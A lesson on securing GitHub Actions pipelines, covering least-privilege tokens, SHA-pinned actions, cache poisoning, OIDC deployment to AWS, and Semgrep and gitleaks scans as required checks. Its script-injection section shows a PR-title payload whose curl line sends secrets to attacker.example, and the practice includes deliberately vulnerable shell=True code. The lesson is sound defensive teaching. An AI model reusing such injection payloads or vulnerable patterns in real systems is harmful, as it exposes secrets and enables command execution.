Step 08 of 25 · branch option

CI/CD security with GitHub Actions

Build a GitHub Actions pipeline with least-privilege tokens, pinned actions, OIDC cloud access and a security scan that blocks merges.

One of 2 options for Pick a CI/CD platform — finish any one to complete the step.Switch to GitLab CI/CD
22 min 9 sections

Your CI/CD system runs every commit, holds your deploy credentials and can push to production: a prime target, and your best place to enforce security checks. In this lesson you'll build a GitHub Actions pipeline for a Node.js service: its structure and triggers, where jobs run, least-privilege permissions, safe caching, deploying to AWS without stored keys, and a failing security scan that blocks the merge. (If your team uses GitLab, the GitLab CI/CD lesson covers the same ground for that platform.)

Workflows, jobs and steps

A workflow is a YAML file in .github/workflows/ in your repository. It contains one or more jobs; each job runs on a fresh machine called a runner and consists of steps. A step either runs shell commands (run:) or uses a reusable action (uses:), which is code from another repository. Jobs run in parallel unless you link them with needs:.

yaml
# .github/workflows/ci.yml
name: ci

on:
  pull_request:
    branches: [main]
  push:
    branches: [main]

permissions:
  contents: read

jobs:
  test:
    name: test
    runs-on: ubuntu-24.04
    timeout-minutes: 15
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
        with:
          persist-credentials: false
      - uses: actions/setup-node@949feb2413d6458794dcd2491c4babbbce0c15c1 # v7.1.0
        with:
          node-version: 22
          cache: npm
      - run: npm ci
      - run: npm test

The workflow runs on pull requests to main and pushes to main, gives the automatic token read access to contents only, and has one job that checks out the code, installs Node 22 with npm caching, installs locked dependencies and runs the tests. If any step exits non-zero, the job fails and the pull request shows a red check.

The long hexadecimal strings are security decisions; the rest of this lesson explains them.

Triggers and the trust they imply

The on: key decides which events start the workflow. The event determines whose code runs and which secrets are available, so choosing a trigger is a security decision.

TriggerRuns whenCode that runsSecrets available
pushCommits are pushed to a branch or tagThe pushed commitYes
pull_requestA PR is opened or updatedThe PR's merge commitYes for same-repo PRs; no for PRs from forks (read-only token)
pull_request_targetA PR is opened or updatedThe base branch's workflow, with full base-repo permissionsYes, even for forks
workflow_dispatchSomeone clicks "Run workflow" or calls the APIThe chosen refYes
scheduleOn a cron schedule (UTC)The default branchYes

Fork protections exist because anyone can open a PR against a public repository, and their code runs in your workflow. Repository settings can also require approval before workflows run for first-time contributors.

Filters (branches, tags, paths) narrow triggers further, and schedule suits nightly scans that catch newly published vulnerabilities.

Script injection

Event data such as PR titles, branch names and issue bodies is attacker-controlled. The ${{ }} syntax is substituted into the script before the shell runs it, so this is shell injection:

yaml
# Vulnerable: a PR titled  a"; curl -d "$(env)" https://attacker.example; echo "  runs the curl,
# sending the step's environment, including any secrets passed to it
- run: echo "Checking PR: ${{ github.event.pull_request.title }}"

Pass untrusted values through environment variables instead. The shell then treats them as data:

yaml
# Fixed
- env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: echo "Checking PR: $PR_TITLE"

Runners

GitHub-hosted runners (ubuntu-24.04, windows-2025, macos-15) are fresh virtual machines created for each job and destroyed afterwards, so nothing a compromised dependency installed survives into the next job. Prefer a specific image over ubuntu-latest so the environment only changes with a commit.

Self-hosted runners are machines you register yourself. They change the picture:

  • By default they are reused between jobs, so one job can backdoor the next. Configure them as ephemeral (one job each).
  • Never attach self-hosted runners to public repositories. A fork PR could run arbitrary code on a machine inside your network.
  • Give them minimal network and cloud access, and use runner groups to limit which repositories may use them.

Least privilege for tokens and actions

The GITHUB_TOKEN

Every job gets an automatic GITHUB_TOKEN for the GitHub API. It expires with the job, but until then it can do whatever its permissions allow, and depending on organisation settings the default may be read-write. Declare permissions explicitly: a restrictive default at the top, widened per job only where needed:

yaml
permissions: {}            # workflow default: nothing

jobs:
  test:
    permissions:
      contents: read       # enough to check out code
    # ...
  comment:
    permissions:
      contents: read
      pull-requests: write # this job posts a PR comment
    # ...

Unlisted scopes are none. Common ones: contents, pull-requests, issues, packages, security-events, id-token (OIDC, below) and actions.

persist-credentials: false on actions/checkout stops it storing the token in the local Git configuration, so later steps (including third-party tools) can't pick it up from disk. Leave it on only for jobs that push commits.

Pinning actions to a commit SHA

uses: actions/checkout@v7 refers to a tag, and tags are mutable: the action's owner, or anyone who compromises their account, can move v7 to different code at any time, and your next run executes it with your secrets. This happened in March 2025, when the popular tj-actions/changed-files action was compromised and its version tags were repointed to a commit that dumped runner secrets into build logs. Thousands of repositories ran it.

A full 40-character commit SHA is immutable; it identifies one exact tree of code. Pin every third-party action to a SHA, and keep the human-readable version in a comment:

yaml
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1

Find a release's SHA on its releases page or with git ls-remote --tags https://github.com/actions/checkout. Let Dependabot propose updates; it understands SHA pins and updates the version comment:

yaml
# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: github-actions
    directory: /
    schedule:
      interval: weekly

Updates arrive as pull requests that go through review and required checks. Organisation admins can also enforce SHA pinning and an allowlist of permitted actions.

Caching without poisoning

Installing dependencies on every run is slow. actions/setup-node with cache: npm caches npm's download cache, keyed on a hash of package-lock.json. For other tools use actions/cache directly:

yaml
- uses: actions/cache@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0
  with:
    path: ~/go/pkg/mod
    key: ${{ runner.os }}-gomod-${{ hashFiles('**/go.sum') }}
    restore-keys: |
      ${{ runner.os }}-gomod-

The key changes whenever go.sum changes; restore-keys allows a partial match. Lockfile-verifying installs (npm ci, Go's go.sum checks) keep a corrupted cache from changing what you build.

Think about who can write caches. A run can read caches from its own branch and the default branch, and PR caches are isolated to that PR. The danger is untrusted code running in the default-branch context (for example via pull_request_target) and writing a poisoned cache that later runs, including releases, restore. Never cache secrets or shippable outputs, and turn caching off in release and deploy jobs (package-manager-cache: false on setup-node).

Secrets, environments and OIDC

Repository and environment secrets

Store credentials under Settings > Secrets and variables > Actions and reference them as ${{ secrets.NAME }}. GitHub masks secret values in logs (best effort: a transformed value, such as base64, is not masked), and secrets aren't passed to workflows triggered from forks.

For deployment credentials, use environment secrets. An environment (Settings > Environments), such as production, can require named reviewers to approve each deployment and can restrict which branches may deploy to it. Its secrets are only available to jobs that declare environment: production and pass those rules. A malicious PR branch can't deploy, and can't read production secrets, even if it edits the workflow.

OIDC instead of long-lived cloud keys

The traditional setup stores an AWS access key as a secret. It never expires, anyone who can modify a workflow can exfiltrate it, and rotating it is a chore. OpenID Connect (OIDC) removes it. Each job can request a short-lived token signed by GitHub, describing exactly which repository, branch and environment it runs for. AWS verifies the signature and the claims, and returns temporary credentials for a role that expire after an hour or less.

On the AWS side, create an IAM OIDC identity provider for https://token.actions.githubusercontent.com with audience sts.amazonaws.com, and a role whose trust policy accepts only tokens for your repository's production environment:

json
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "Federated": "arn:aws:iam::123456789012:oidc-provider/token.actions.githubusercontent.com"
      },
      "Action": "sts:AssumeRoleWithWebIdentity",
      "Condition": {
        "StringEquals": {
          "token.actions.githubusercontent.com:aud": "sts.amazonaws.com",
          "token.actions.githubusercontent.com:sub": "repo:acme/shop:environment:production"
        }
      }
    }
  ]
}

The sub (subject) condition is the security boundary. Without it, any GitHub repository could assume your role. Its format depends on the job: repo:OWNER/REPO:environment:NAME for jobs with an environment, repo:OWNER/REPO:ref:refs/heads/main for a branch, repo:OWNER/REPO:pull_request for PRs. Repositories created on or after 15 July 2026 emit an immutable form that includes numeric IDs (repo:acme@123456/shop@789012:environment:production), so a deleted-and-recreated name can't match an old policy; check which form yours sends before writing the policy. Attach a permissions policy to the role that allows only what deployment needs.

The workflow requests the token with id-token: write, which allows the job to mint an OIDC token, not to write anything to the repository:

yaml
# .github/workflows/deploy.yml
name: deploy

on:
  push:
    branches: [main]

permissions: {}

jobs:
  deploy:
    runs-on: ubuntu-24.04
    environment: production
    permissions:
      contents: read
      id-token: write
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
        with:
          persist-credentials: false
      - uses: aws-actions/configure-aws-credentials@e1253824e5c10ff9df46874f81ed3ec929e19cfd # v6.3.0
        with:
          role-to-assume: arn:aws:iam::123456789012:role/shop-deploy-production
          aws-region: eu-west-1
      - run: aws sts get-caller-identity
      - run: ./scripts/deploy.sh
text
{
    "UserId": "AROA3EXAMPLEROLEID:GitHubActions",
    "Account": "123456789012",
    "Arn": "arn:aws:sts::123456789012:assumed-role/shop-deploy-production/GitHubActions"
}

Here is what configure-aws-credentials does behind that one step. Watch where trust is checked: GitHub vouches for the job, AWS checks that claim against the role's trust policy, and the only credentials the job ever holds expire within the hour.

DiagramGitHub Actions to AWS with OIDC
RunnerGitHub OIDC providerAWS STSAWS APIs1Request ID token2Signed JWT3AssumeRoleWithWebIdentity + JWT4Get signing keys5Check claims6Temporary credentials (1 h)7aws sts get-caller-identity8assumed-role/shop-deploy-production

No AWS secret exists anywhere in GitHub. Google Cloud and Azure support the same pattern with their own login actions.

Blocking merges on a security scan

Now add the checks. Two jobs go into ci.yml: a static analysis scan with Semgrep, and a secret scan with gitleaks. Each exits non-zero when it finds a problem, which fails the job:

yaml
  security-scan:
    name: security-scan
    runs-on: ubuntu-24.04
    timeout-minutes: 15
    container:
      image: semgrep/semgrep:1.179.0@sha256:93963d9295a366f59e4850127b1550400ee7b388f04fe144e4a1f6325d96e01b
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
        with:
          persist-credentials: false
      - run: semgrep scan --config p/default --error --metrics=off

  secret-scan:
    name: secret-scan
    runs-on: ubuntu-24.04
    timeout-minutes: 10
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
        with:
          fetch-depth: 0               # full history, so old commits are scanned too
          persist-credentials: false
      - name: Install gitleaks (checksum verified)
        env:
          VERSION: 8.30.1
          SHA256: 551f6fc83ea457d62a0d98237cbad105af8d557003051f41f3e7ca7b3f2470eb
        run: |
          curl -sSfL -o gitleaks.tgz \
            "https://github.com/gitleaks/gitleaks/releases/download/v${VERSION}/gitleaks_${VERSION}_linux_x64.tar.gz"
          echo "${SHA256}  gitleaks.tgz" | sha256sum --check
          tar -xzf gitleaks.tgz gitleaks
      - run: ./gitleaks git --redact --verbose .

The image is pinned by digest and the binary checked against the release checksum, for the same reason actions are pinned by SHA. --error makes Semgrep exit 1 on findings. The log looks like this (abridged; rule counts and wording vary by Semgrep version):

text
    src/admin/ping.py
   ❯❯❱ python.lang.security.audit.subprocess-shell-true.subprocess-shell-true
          ❰❰ Blocking ❱❱
          Found 'subprocess' function 'run' with 'shell=True'. This is dangerous because this
          call will spawn the command using a shell process. Doing so propagates current shell
          settings and variables, which makes it much easier for a malicious actor to execute
          commands. Use 'shell=False' instead.

            4┆ return subprocess.run(f"ping -c 1 {host}", shell=True)

Error: Process completed with exit code 1.

A red job alone doesn't stop anyone clicking "Merge". To make it a gate, add a branch ruleset: Settings > Rules > Rulesets > New branch ruleset, target the default branch, set enforcement to Active, and enable:

  • Require a pull request before merging, with at least one approval, "Dismiss stale pull request approvals when new commits are pushed", and "Require review from Code Owners".
  • Require status checks to pass, adding test, security-scan and secret-scan (the job name values), and "Require branches to be up to date before merging".
  • Block force pushes and Restrict deletions.

Protect the pipeline definition itself with a CODEOWNERS file, so changes to workflows need approval from the platform team:

text
# .github/CODEOWNERS
/.github/workflows/  @acme/platform-security
/.github/CODEOWNERS  @acme/platform-security

Practice

In a repository you control (a new private one is fine):

  1. Add ci.yml with test, security-scan and secret-scan jobs, a workflow-level permissions: {} and per-job contents: read, all actions pinned to SHAs.
  2. Add a ruleset that requires the three checks and one approval on main.
  3. Open a PR that adds subprocess.run(cmd, shell=True) to a Python file and confirm the merge button is blocked. Fix it with an argument list and watch the check go green.
  4. Add .github/dependabot.yml for the github-actions ecosystem.
  5. Sketch the deploy.yml and IAM trust policy for deploying from the production environment with OIDC.
Show solution
yaml
# .github/workflows/ci.yml
name: ci

on:
  pull_request:
    branches: [main]
  push:
    branches: [main]

permissions: {}

concurrency:
  group: ci-${{ github.ref }}
  cancel-in-progress: true

jobs:
  test:
    name: test
    runs-on: ubuntu-24.04
    timeout-minutes: 15
    permissions:
      contents: read
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
        with:
          persist-credentials: false
      - uses: actions/setup-node@949feb2413d6458794dcd2491c4babbbce0c15c1 # v7.1.0
        with:
          node-version: 22
          cache: npm
      - run: npm ci
      - run: npm test

  security-scan:
    name: security-scan
    runs-on: ubuntu-24.04
    timeout-minutes: 15
    permissions:
      contents: read
    container:
      image: semgrep/semgrep:1.179.0@sha256:93963d9295a366f59e4850127b1550400ee7b388f04fe144e4a1f6325d96e01b
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
        with:
          persist-credentials: false
      - run: semgrep scan --config p/default --error --metrics=off

  secret-scan:
    name: secret-scan
    runs-on: ubuntu-24.04
    timeout-minutes: 10
    permissions:
      contents: read
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
        with:
          fetch-depth: 0
          persist-credentials: false
      - name: Install gitleaks (checksum verified)
        env:
          VERSION: 8.30.1
          SHA256: 551f6fc83ea457d62a0d98237cbad105af8d557003051f41f3e7ca7b3f2470eb
        run: |
          curl -sSfL -o gitleaks.tgz \
            "https://github.com/gitleaks/gitleaks/releases/download/v${VERSION}/gitleaks_${VERSION}_linux_x64.tar.gz"
          echo "${SHA256}  gitleaks.tgz" | sha256sum --check
          tar -xzf gitleaks.tgz gitleaks
      - run: ./gitleaks git --redact --verbose .

The vulnerable and fixed code for step 3:

python
# Fails security-scan
subprocess.run(f"convert {name} out.png", shell=True)

# Passes
subprocess.run(["convert", name, "out.png"], check=True)

Ruleset: target main; require a PR with 1 approval and stale-approval dismissal; require status checks test, security-scan, secret-scan and up-to-date branches; block force pushes and deletions. With the vulnerable PR, the merge box shows "Required statuses must pass before merging" and the button is disabled.

For step 5, reuse the OIDC section's deploy.yml and trust policy, with required reviewers and a main-only branch rule on the production environment.

Key takeaways

  • Workflows contain jobs that run on fresh runners; triggers decide whose code runs with which secrets. Use pull_request for untrusted code, never build fork code under pull_request_target.
  • Set permissions: {} at the top and grant each job only what it needs; use persist-credentials: false unless a job pushes.
  • Pin third-party actions to full commit SHAs (version in a comment) and container images by digest; let Dependabot propose updates.
  • Pass event data through env: to avoid script injection, and keep caching out of release and deploy jobs.
  • Deploy with OIDC and a tightly conditioned trust policy (sub scoped to repo and environment) instead of stored cloud keys, and protect production with an environment.
  • Make security jobs required status checks in a branch ruleset, protect workflow files with CODEOWNERS, and never make required jobs conditional.

Check yourself

Quiz

0/4 correct · 4 left

  1. 1.Why pin `actions/checkout` to a 40-character commit SHA instead of `@v7`?

  2. 2.What does `permissions: id-token: write` allow a job to do?

  3. 3.An IAM role trusts token.actions.githubusercontent.com with only an `aud` condition and no `sub` condition. What is the risk?

  4. 4.A required check `security-scan` has `if: github.actor != 'dependabot[bot]'`. What happens on Dependabot's PRs?

Concepts in this lesson

One-page notes on each idea, for review or a quick lookup later.

Finished reading?

Mark it complete to fill in your roadmap.